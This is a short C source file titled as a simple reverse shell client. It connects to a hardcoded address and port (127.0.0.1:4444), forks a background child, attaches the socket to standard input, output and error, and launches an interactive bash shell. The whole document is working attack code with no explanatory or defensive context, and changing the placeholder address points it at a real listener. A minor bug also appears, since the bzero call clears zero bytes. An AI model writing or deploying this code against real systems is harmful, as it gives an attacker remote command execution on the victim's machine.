A simple reverse shell client

reverse_shell.c

#include <arpa/inet.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

#define REMOTE_ADDR "127.0.0.1"
#define REMOTE_PORT 4444

int main(void)
{
    int sock_fd;
    struct sockaddr_in remote_addr;
    pid_t pid;

    if ((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
        fprintf(stderr, "Socket creation error: %s\n", strerror(errno));
        return 1;
    }

    bzero(&remote_addr, 0);
    remote_addr.sin_family = AF_INET;
    remote_addr.sin_port = htons(REMOTE_PORT);

    if (inet_pton(AF_INET, REMOTE_ADDR, &remote_addr.sin_addr) == -1) {
        fprintf(stderr, "Invalid address: %s\n", strerror(errno));
        return 1;
    }

    if (connect(sock_fd, (struct sockaddr*)&remote_addr, sizeof(remote_addr)) < 0) {
        fprintf(stderr, "Connection error: %s\n", strerror(errno));
        return 1;
    }

    pid = fork();

    if (pid < 0) {
        fprintf(stderr, "Fork failed: %s\n", strerror(errno));
        return 1;
    }

    if (pid == 0) {

        if (setsid() < 0) {
            fprintf(stderr, "Failed setting the child process as session leader: %s\n", strerror(errno));
            return 1;
        }

        dup2(sock_fd, 0); // stdin
        dup2(sock_fd, 1); // stdout
        dup2(sock_fd, 2); // stderr

        execl("/bin/bash", "bash", "-i", NULL); // launch a shell in interactive mode
        return 1;
    }

    if (pid > 0) {
        printf("Child process created, running at PID %d\n", pid);
        return 0;
    }

    return 0;
}